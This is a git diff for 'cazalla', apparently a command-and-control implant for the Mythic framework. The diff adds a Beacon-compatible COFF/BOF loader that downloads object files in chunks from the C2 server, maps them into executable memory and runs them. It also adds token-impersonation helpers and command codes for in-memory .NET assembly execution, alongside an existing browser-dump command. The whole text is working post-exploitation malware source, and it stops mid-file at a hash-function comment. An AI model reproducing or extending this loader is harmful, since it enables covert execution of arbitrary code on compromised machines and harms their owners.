diff --git a/Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc b/Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000..c390876 Binary files /dev/null and b/Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc differ diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 6adbf3c..ae5ac07 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -183,6 +183,22 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea); DumparNavegador(analizadorTarea); _inf("===== BROWSER_DUMP_CMD COMPLETED ====="); + } else if (tarea == INLINE_EXECUTE_CMD) { + _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea); + InlineExecuteHandler(analizadorTarea); + _inf("===== INLINE_EXECUTE_CMD COMPLETED ====="); + } else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { + _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); + // This command is typically handled via subtasks in Python + // But if called directly, we'll handle it here + _wrn("inline_execute_assembly should be called via subtasks"); + if (analizadorTarea) liberarAnalizador(analizadorTarea); + } else if (tarea == EXECUTE_ASSEMBLY_CMD) { + _inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); + // This command is typically handled via subtasks in Python (inject_shellcode) + // But if called directly, we'll handle it here + _wrn("execute_assembly should be called via subtasks"); + if (analizadorTarea) liberarAnalizador(analizadorTarea); } else { _wrn("Tarea desconocida: 0x%02x", tarea); _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 6abb7ff..1be6218 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -16,6 +16,7 @@ #include "rpfwd_manager.h" #include "browser_info.h" #include "browser_dump.h" +#include "inline_execute.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -63,6 +64,11 @@ /* Browser dump command */ #define BROWSER_DUMP_CMD 0x41 +/* BOF and Assembly execution commands */ +#define INLINE_EXECUTE_CMD 0x70 +#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71 +#define EXECUTE_ASSEMBLY_CMD 0x72 + /* Extension marker to carry SOCKS array in binary messages */ #define SOCKS_BLOCK_MARKER 0xF5 /* Extension marker to carry RPFWD array in binary messages */ diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c new file mode 100644 index 0000000..d3a81fe --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c @@ -0,0 +1,696 @@ +#include "cazalla.h" +#include "inline_execute.h" +#include "comandos.h" +#include "paquete.h" +#include "SistemadeFicheros.h" +#include "utils.h" +#include +#include +#include +#include + +/* + * Beacon Compatibility Layer - Simple output buffering for BOFs + * These functions are called by BOFs and capture their output + */ +static char* beacon_output_buffer = NULL; +static int beacon_output_size = 0; +static int beacon_output_offset = 0; + +// BeaconPrintf - Capture formatted output from BOFs +void BeaconPrintf(int type, char* fmt, ...) { + va_list args; + int length = 0; + char* tempptr = NULL; + + va_start(args, fmt); + length = vsnprintf(NULL, 0, fmt, args); + va_end(args); + + if (length <= 0) return; + + tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + length + 1); + if (tempptr == NULL) { + _err("[BeaconPrintf] Error reasignando memoria"); + return; + } + beacon_output_buffer = tempptr; + memset(beacon_output_buffer + beacon_output_offset, 0, length + 1); + + va_start(args, fmt); + length = vsnprintf(beacon_output_buffer + beacon_output_offset, length + 1, fmt, args); + beacon_output_size += length; + beacon_output_offset += length; + va_end(args); + + _inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size); +} + +// BeaconOutput - Capture raw output from BOFs +void BeaconOutput(int type, char* data, int len) { + char* tempptr = NULL; + if (!data || len <= 0) return; + + tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + len + 1); + if (tempptr == NULL) { + _err("[BeaconOutput] Error reasignando memoria"); + return; + } + beacon_output_buffer = tempptr; + memset(beacon_output_buffer + beacon_output_offset, 0, len + 1); + memcpy(beacon_output_buffer + beacon_output_offset, data, len); + beacon_output_size += len; + beacon_output_offset += len; + + _inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size); +} + +// BeaconGetOutputData - Get captured output (caller must free) +char* BeaconGetOutputData(int* outsize) { + char* outdata = beacon_output_buffer; + *outsize = beacon_output_size; + beacon_output_buffer = NULL; + beacon_output_size = 0; + beacon_output_offset = 0; + return outdata; +} + +// BeaconDataParse - Parse data structure for BOFs +typedef struct { + char* original; + char* buffer; + int length; + int size; +} datap; + +void BeaconDataParse(datap* parser, char* buffer, int size) { + if (parser == NULL) return; + parser->original = buffer; + parser->buffer = buffer; + parser->length = size - 4; + parser->size = size - 4; + parser->buffer += 4; +} + +int BeaconDataInt(datap* parser) { + int32_t fourbyteint = 0; + if (parser->length < 4) return 0; + memcpy(&fourbyteint, parser->buffer, 4); + parser->buffer += 4; + parser->length -= 4; + return (int)fourbyteint; +} + +short BeaconDataShort(datap* parser) { + int16_t retvalue = 0; + if (parser->length < 2) return 0; + memcpy(&retvalue, parser->buffer, 2); + parser->buffer += 2; + parser->length -= 2; + return (short)retvalue; +} + +int BeaconDataLength(datap* parser) { + return parser->length; +} + +char* BeaconDataExtract(datap* parser, int* size) { + UINT32 length = 0; + char* outdata = NULL; + if (parser->length < 4) return NULL; + memcpy(&length, parser->buffer, 4); + parser->buffer += 4; + outdata = parser->buffer; + if (outdata == NULL) return NULL; + parser->length -= 4; + parser->length -= length; + parser->buffer += length; + if (size != NULL && outdata != NULL) { + *size = length; + } + return outdata; +} + +// Token functions (using Windows APIs directly) +BOOL BeaconUseToken(HANDLE token) { + return SetThreadToken(NULL, token); +} + +void BeaconRevertToken(void) { + RevertToSelf(); +} + +BOOL BeaconIsAdmin(void) { + // Basic implementation - can be enhanced + return FALSE; +} + +/* + * GetFileBytesFromMythic - Fetch a file from Mythic server using file_id + * Adapted from Cazalla's upload mechanism + */ +DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) { +#define CHUNK_SIZE 512000 // 512 KB + + _inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId); + + DWORD status = 0; + PBYTE dataBuffer = NULL; + SIZE_T bytesAvailable = 0; + SIZE_T totalBytesRead = 0; + UINT32 currentChunk = 1; + UINT32 totalChunks = 0; + + // Initialize BOF structure + memset(bof, 0, sizeof(BOF_UPLOAD)); + strncpy(bof->fileUuid, fileId, 36); + bof->fileUuid[36] = '\0'; + bof->currentChunk = 1; + + dataBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE); + if (!dataBuffer) { + _err("[inline_execute] Error alocar memoria para buffer"); + return GetLastError(); + } + bytesAvailable = CHUNK_SIZE; + + do { + // Create upload request + PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE); + addString(requestPaquete, taskUuid, FALSE); + + // Add empty output (required for upload request format, same as upload command) + addInt32(requestPaquete, 0); + + // Add upload request marker and data + addUploadRequest(requestPaquete, fileId, CHUNK_SIZE, currentChunk, "temp_bof"); + + // Send request and get response + PAnalizador respuesta = mandarPaquete(requestPaquete); + liberarPaquete(requestPaquete); + + if (!respuesta) { + _err("[inline_execute] No se recibió respuesta para chunk %u", currentChunk); + status = 1; + goto cleanup; + } + + // Debug: log response size + _dbg("[inline_execute] Respuesta recibida para chunk %u: %zu bytes", currentChunk, respuesta->tamano); + + // Extract upload response (same format as upload command) + // Look for 0xF9 marker + PBYTE buffer = respuesta->buffer; + SIZE_T len = respuesta->tamano; + BOOL found = FALSE; + + // Debug: log first few bytes to see what we're getting + if (len > 0) { + _dbg("[inline_execute] Primeros bytes de respuesta: 0x%02X 0x%02X 0x%02X 0x%02X", + len > 0 ? buffer[0] : 0, + len > 1 ? buffer[1] : 0, + len > 2 ? buffer[2] : 0, + len > 3 ? buffer[3] : 0); + } + + for (SIZE_T i = 0; i < len - 13; i++) { + if (buffer[i] == 0xF9) { + i++; + // Extract total_chunks + if (i + 4 > len) break; + totalChunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + // Extract chunk_num + if (i + 4 > len) break; + UINT32 chunkNum = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + // Extract chunk_data length + if (i + 4 > len) break; + UINT32 chunkDataLen = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + if (chunkDataLen == 0 || chunkDataLen > 1024 * 1024 || i + chunkDataLen > len) { + break; + } + + // Decode base64 chunk data + PCHAR chunkDataB64 = (PCHAR)LocalAlloc(LPTR, chunkDataLen + 1); + if (!chunkDataB64) { + liberarAnalizador(respuesta); + status = GetLastError(); + goto cleanup; + } + memcpy(chunkDataB64, buffer + i, chunkDataLen); + chunkDataB64[chunkDataLen] = '\0'; + + // Decode base64 + PBYTE decodedData = NULL; + SIZE_T decodedLen = 0; + if (!base64_decode(chunkDataB64, &decodedData, &decodedLen)) { + _err("[inline_execute] Error decodificando base64 para chunk %u", currentChunk); + LocalFree(chunkDataB64); + liberarAnalizador(respuesta); + status = 1; + goto cleanup; + } + + // Reallocate buffer if needed + if (totalBytesRead + decodedLen > bytesAvailable) { + bytesAvailable = totalBytesRead + decodedLen; + dataBuffer = (PBYTE)LocalReAlloc(dataBuffer, bytesAvailable, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!dataBuffer) { + _err("[inline_execute] Error reasignando memoria"); + LocalFree(chunkDataB64); + LocalFree(decodedData); + liberarAnalizador(respuesta); + status = GetLastError(); + goto cleanup; + } + } + + // Copy chunk to buffer + memcpy(dataBuffer + totalBytesRead, decodedData, decodedLen); + totalBytesRead += decodedLen; + + LocalFree(chunkDataB64); + LocalFree(decodedData); + found = TRUE; + break; + } + } + + if (!found) { + _err("[inline_execute] No se encontró respuesta de upload para chunk %u", currentChunk); + liberarAnalizador(respuesta); + status = 1; + goto cleanup; + } + + liberarAnalizador(respuesta); + currentChunk++; + + } while (currentChunk <= totalChunks); + + bof->buffer = dataBuffer; + bof->size = totalBytesRead; + bof->totalChunks = totalChunks; + + _inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks); + return 0; + +cleanup: + if (dataBuffer) { + LocalFree(dataBuffer); + } + return status; +} + +/* + * InternalFunctionMatch - Check if symbol is an internal Beacon function + */ +static BOOL InternalFunctionMatch(char* StrippedSymbolName) { + if (STR_EQUALS(StrippedSymbolName, "Beacon") || + STR_EQUALS(StrippedSymbolName, "GetProcAddress") || + STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") || + STR_EQUALS(StrippedSymbolName, "toWideChar") || + STR_EQUALS(StrippedSymbolName, "LoadLibraryA") || + STR_EQUALS(StrippedSymbolName, "FreeLibrary")) + { + return TRUE; + } + return FALSE; +} + +/* + * ProcessBeaconSymbols - Resolve Beacon API symbols + */ +static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) { + void* functionaddress = NULL; + char localSymbolNameCopy[1024] = { 0 }; + *InternalFunction = FALSE; + char* locallib = NULL; + char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1; + HMODULE llHandle = NULL; + char* context = NULL; + + strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1); + + // Hash-based function resolution for internal functions + // For now, we'll use direct function resolution + if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) { + *InternalFunction = TRUE; + localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE); + UINT32 hash = custom_hash(localfunc); + + // Map common Beacon functions by hash + UINT32 funcHash = hash; + if (funcHash == custom_hash("BeaconDataParse")) { + return (void*)BeaconDataParse; + } else if (funcHash == custom_hash("BeaconPrintf")) { + return (void*)BeaconPrintf; + } else if (funcHash == custom_hash("BeaconOutput")) { + return (void*)BeaconOutput; + } else if (funcHash == custom_hash("GetProcAddress")) { + return (void*)GetProcAddress; + } else if (funcHash == custom_hash("GetModuleHandleA")) { + return (void*)GetModuleHandleA; + } else if (funcHash == custom_hash("LoadLibraryA")) { + return (void*)LoadLibraryA; + } else if (funcHash == custom_hash("FreeLibrary")) { + return (void*)FreeLibrary; + } else if (funcHash == custom_hash("BeaconUseToken")) { + return (void*)BeaconUseToken; + } else if (funcHash == custom_hash("BeaconRevertToken")) { + return (void*)BeaconRevertToken; + } else if (funcHash == custom_hash("BeaconIsAdmin")) { + return (void*)BeaconIsAdmin; + } + } else { + // External symbol - parse library$function format + locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context); + if (locallib) { + llHandle = LoadLibraryA(locallib); + localfunc = strtok_s(NULL, "$", &context); + if (localfunc) { + localfunc = strtok_s(localfunc, "@", &context); + functionaddress = GetProcAddress(llHandle, localfunc); + } + } + } + + return functionaddress; +} + +/* + * ExecuteEntry - Execute the BOF entry point + */ +static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long argSize) { + VOID(*foo)(char* in, UINT32 datalen) = NULL; + + if (!func || !COFF->FileBase) { + _err("[inline_execute] No entry point provided"); + return FALSE; + } + + for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) { + if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) { + foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value); + _dbg("[inline_execute] Entry point encontrado: 0x%p", foo); + break; + } + } + + if (!foo) { + _err("[inline_execute] No se pudo encontrar entry point '%s'", func); + return FALSE; + } + + // Execute the BOF + foo((char*)args, (UINT32)argSize); + return TRUE; +} + +/* + * RelocationTypeParse - Parse and apply COFF relocations + */ +static void RelocationTypeParse(COFF_t* COFF, void** SectionMapped, int SectionNumber, BOOL* InternalFunction, void* FunctionAddrPTR, char* FunctionMapping) { + UINT32 offsetAddr = 0; + UINT64 longOffsetAddr = 0; + unsigned int Type = COFF->Relocation->Type; + + if (Type == IMAGE_REL_AMD64_ADDR64) { + memcpy(&longOffsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(UINT64)); + longOffsetAddr = (UINT64)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + (UINT64)longOffsetAddr); + longOffsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &longOffsetAddr, sizeof(UINT64)); + } + else if (COFF->Relocation->Type == IMAGE_REL_AMD64_ADDR32NB) { + memcpy(&offsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(INT32)); + offsetAddr = ((char*)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + offsetAddr) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4)); + offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32)); + } + else if (Type == IMAGE_REL_AMD64_REL32) { + if (FunctionAddrPTR != NULL) { + memcpy(FunctionMapping + (COFF->FunctionMappingCount * 8), &FunctionAddrPTR, sizeof(UINT64)); + offsetAddr = (INT32)((FunctionMapping + (COFF->FunctionMappingCount * 8)) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4)); + offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32)); + *InternalFunction = FALSE; + COFF->FunctionMappingCount++; + } + else { + memcpy(&offsetAddr, (void*)((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress), sizeof(UINT32)); + offsetAddr += (UINT32)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4)); + offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32)); + } + } +} + +/* + * RunCOFF - Load and execute a COFF file + * Adapted from Xenon's COFF loader + */ +BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize) { + COFF_t COFF; + COFF.FileBase = FileData; + COFF.FileHeader = (FileHeader_t*)COFF.FileBase; + COFF.SymbolTable = (Symbol_t*)(COFF.FileBase + COFF.FileHeader->PointerToSymbolTable); + COFF.FunctionMappingCount = 0; + COFF.RelocationsCount = 0; + + char* functionMapping = NULL; + void** sectionMapped = (void**)calloc(sizeof(char*) * (COFF.FileHeader->NumberOfSections + 1), 1); + + if ((int)COFF.FileHeader->Machine != IMAGE_FILE_MACHINE_AMD64) { + _err("[inline_execute] COFF no soportado: Machine=0x%04X (solo AMD64 soportado)", COFF.FileHeader->Machine); + free(sectionMapped); + return FALSE; + } + + // Allocate and map sections + for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { + Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (i * sizeof(Section_t))); + + sectionMapped[i] = (char*)VirtualAlloc(NULL, section->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + + if (section->PointerToRawData != 0) { + memcpy(sectionMapped[i], COFF.FileBase + section->PointerToRawData, section->SizeOfRawData); + } + else { + memset(sectionMapped[i], 0, section->SizeOfRawData); + } + + if (!strcmp(section->Name, ".text")) { + COFF.RawTextData = sectionMapped[i]; + } + + COFF.RelocationsCount += section->NumberOfRelocations; + } + + // Allocate function mapping + functionMapping = (char*)VirtualAlloc(NULL, COFF.RelocationsCount * 8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + + // Process relocations + for (int s = 0; s < COFF.FileHeader->NumberOfSections; s++) { + Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (s * sizeof(Section_t))); + COFF.RelocationsTextPTR = COFF.FileBase + section->PointerToRelocations; + + for (int i = 0; i < section->NumberOfRelocations; i++) { + UINT32 symbolOffset = 0; + void* funcptrlocation = NULL; + COFF.Relocation = (Relocation_t*)(COFF.RelocationsTextPTR + (i * sizeof(Relocation_t))); + + symbolOffset = COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.value[1]; + + if (COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.Name[0] != 0) { + BOOL internalFunc = FALSE; + RelocationTypeParse(&COFF, sectionMapped, s, &internalFunc, NULL, NULL); + } + else { + BOOL internalFunctionCheck = FALSE; + funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck); + if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) { + _wrn("[inline_execute] No se pudo resolver símbolo"); + } + + RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping); + } + } + } + + // Execute the BOF + if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) { + _err("[inline_execute] Error ejecutando entry point"); + // Cleanup + for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { + if (sectionMapped[i] != NULL) { + VirtualFree(sectionMapped[i], 0, MEM_RELEASE); + } + } + free(sectionMapped); + if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); + return FALSE; + } + + // Cleanup + for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { + if (sectionMapped[i] != NULL) { + VirtualFree(sectionMapped[i], 0, MEM_RELEASE); + } + } + free(sectionMapped); + if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); + + return TRUE; +} + +/* + * ParseBOFArguments - Parse BOF arguments from JSON string + * Returns packed arguments buffer and size + */ +static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) { + // For now, we'll pass the JSON string directly + // A full implementation would parse the JSON and pack arguments according to type + *outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen); + if (!*outBuffer) { + return FALSE; + } + memcpy(*outBuffer, argsJson, argsJsonLen); + *outSize = argsJsonLen; + return TRUE; +} + +/* + * InlineExecuteHandler - Main handler for inline_execute command + */ +VOID InlineExecuteHandler(PAnalizador argumentos) { + _inf("===== InlineExecuteHandler INICIO ====="); + + // Read task UUID + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(argumentos, &uuidLen); + if (!taskUuid || uuidLen != 36) { + _err("InlineExecuteHandler: Error leyendo UUID (len=%zu)", uuidLen); + if (argumentos) liberarAnalizador(argumentos); + return; + } + + // Read file_id + SIZE_T fileIdLen = 0; + PCHAR fileId = getString(argumentos, &fileIdLen); + if (!fileId || fileIdLen == 0) { + _err("InlineExecuteHandler: Error leyendo file_id"); + if (argumentos) liberarAnalizador(argumentos); + return; + } + + // Read arguments (JSON string) + SIZE_T argsLen = 0; + PCHAR argsJson = getString(argumentos, &argsLen); + + _dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", + 36, taskUuid, (int)fileIdLen, fileId, argsLen); + + // Create response package + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, taskUuid, FALSE); + + // Create output package + PPaquete salida = nuevoPaquete(0, FALSE); + + // Fetch BOF file from Mythic + BOF_UPLOAD bof = {0}; + DWORD status = GetFileBytesFromMythic(taskUuid, fileId, &bof); + if (status != 0) { + _err("[inline_execute] Error obteniendo archivo BOF de Mythic: %lu", status); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo obtener el archivo BOF de Mythic (error: %lu)\n", status); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + if (argumentos) liberarAnalizador(argumentos); + return; + } + + // Parse BOF arguments + PBYTE bofArgs = NULL; + SIZE_T bofArgsSize = 0; + if (argsJson && argsLen > 0) { + if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) { + _err("[inline_execute] Error parseando argumentos BOF"); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n"); + } + } + + // Clear output buffer before executing BOF + if (beacon_output_buffer) { + free(beacon_output_buffer); + beacon_output_buffer = NULL; + } + beacon_output_size = 0; + beacon_output_offset = 0; + _inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF"); + + // Execute the BOF + DWORD fileSize = (DWORD)bof.size; + _inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize); + if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) { + _err("[inline_execute] Error ejecutando BOF"); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n"); + } else { + _inf("[inline_execute] BOF ejecutado exitosamente, capturando output..."); + // Get output from Beacon compatibility layer + int outdataSize = 0; + PCHAR outdata = BeaconGetOutputData(&outdataSize); + _inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata); + if (outdata && outdataSize > 0) { + _inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize); + // Debug: log first 200 bytes of output + int logLen = (outdataSize > 200) ? 200 : outdataSize; + _inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata); + addBytes(salida, (PBYTE)outdata, outdataSize, TRUE); + free(outdata); + } else { + _inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n"); + } + } + + _inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length); + + // Add output to response FIRST (before artifacts) + // Format must be: [UUID_tarea][output_len][output][marcadores...] + _inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Add Process Create artifact AFTER output + // BOF execution creates process artifacts + char artifact_buf[512]; + if (argsJson && argsLen > 0) { + snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s", + (int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson); + } else { + snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId); + } + addArtifact(respuesta, "Process Create", artifact_buf); + + _inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length); + + // Send response + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + + // Cleanup + if (bof.buffer) LocalFree(bof.buffer); + if (bofArgs) LocalFree(bofArgs); + if (argumentos) liberarAnalizador(argumentos); + + _inf("===== InlineExecuteHandler FIN ====="); +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h new file mode 100644 index 0000000..43fb4e7 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h @@ -0,0 +1,107 @@ +#pragma once + +#ifndef INLINE_EXECUTE_H +#define INLINE_EXECUTE_H + +#include "analizador.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(__x86_64__) || defined(_WIN64) +#define PREPENDSYMBOLVALUE "__imp_" +#else +#define PREPENDSYMBOLVALUE "__imp__" +#endif + +#define STR_EQUALS(str, substr) (strncmp(str, substr, strlen(substr)) == 0) + +// COFF relocation types (from winnt.h) +#define IMAGE_REL_AMD64_ADDR64 0x0001 +#define IMAGE_REL_AMD64_ADDR32NB 0x0003 +#define IMAGE_REL_AMD64_REL32 0x0004 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 + +// COFF File Header +typedef struct coff_file_header { + UINT16 Machine; + UINT16 NumberOfSections; + UINT32 TimeDateStamp; + UINT32 PointerToSymbolTable; + UINT32 NumberOfSymbols; + UINT16 SizeOfOptionalHeader; + UINT16 Characteristics; +} FileHeader_t; + +#pragma pack(push,1) + +// COFF Section Table +typedef struct coff_sections_table { + char Name[8]; + UINT32 VirtualSize; + UINT32 VirtualAddress; + UINT32 SizeOfRawData; + UINT32 PointerToRawData; + UINT32 PointerToRelocations; + UINT32 PointerToLineNumbers; + UINT16 NumberOfRelocations; + UINT16 NumberOfLinenumbers; + UINT32 Characteristics; +} Section_t; + +// COFF Relocations +typedef struct coff_relocations { + UINT32 VirtualAddress; + UINT32 SymbolTableIndex; + UINT16 Type; +} Relocation_t; + +// COFF Symbols Table +typedef struct coff_symbols_table { + union { + char Name[8]; + UINT32 value[2]; + } first; + UINT32 Value; + UINT16 SectionNumber; + UINT16 Type; + UINT8 StorageClass; + UINT8 NumberOfAuxSymbols; +} Symbol_t; + +#pragma pack(pop) + +// COFF structure +typedef struct COFF { + char* FileBase; + FileHeader_t* FileHeader; + Relocation_t* Relocation; + Symbol_t* SymbolTable; + void* RawTextData; + char* RelocationsTextPTR; + int RelocationsCount; + int FunctionMappingCount; +} COFF_t; + +// BOF Upload structure +typedef struct _BOF_UPLOAD { + CHAR fileUuid[37]; // File UUID (36 + 1 for null terminator) + UINT32 totalChunks; // Total number of chunks + UINT32 currentChunk; // Current chunk number + SIZE_T size; // Size of the file + PVOID buffer; // Pointer to BOF buffer data +} BOF_UPLOAD, *PBOF_UPLOAD; + +// Function declarations +VOID InlineExecuteHandler(PAnalizador argumentos); +BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize); +DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof); + +#ifdef __cplusplus +} +#endif + +#endif // INLINE_EXECUTE_H + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index 4b1f203..61d69f3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -185,3 +185,18 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) { _dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64); return 1; } + +/* Hash function for BOF function resolution (FNV-1a algorithm) */ 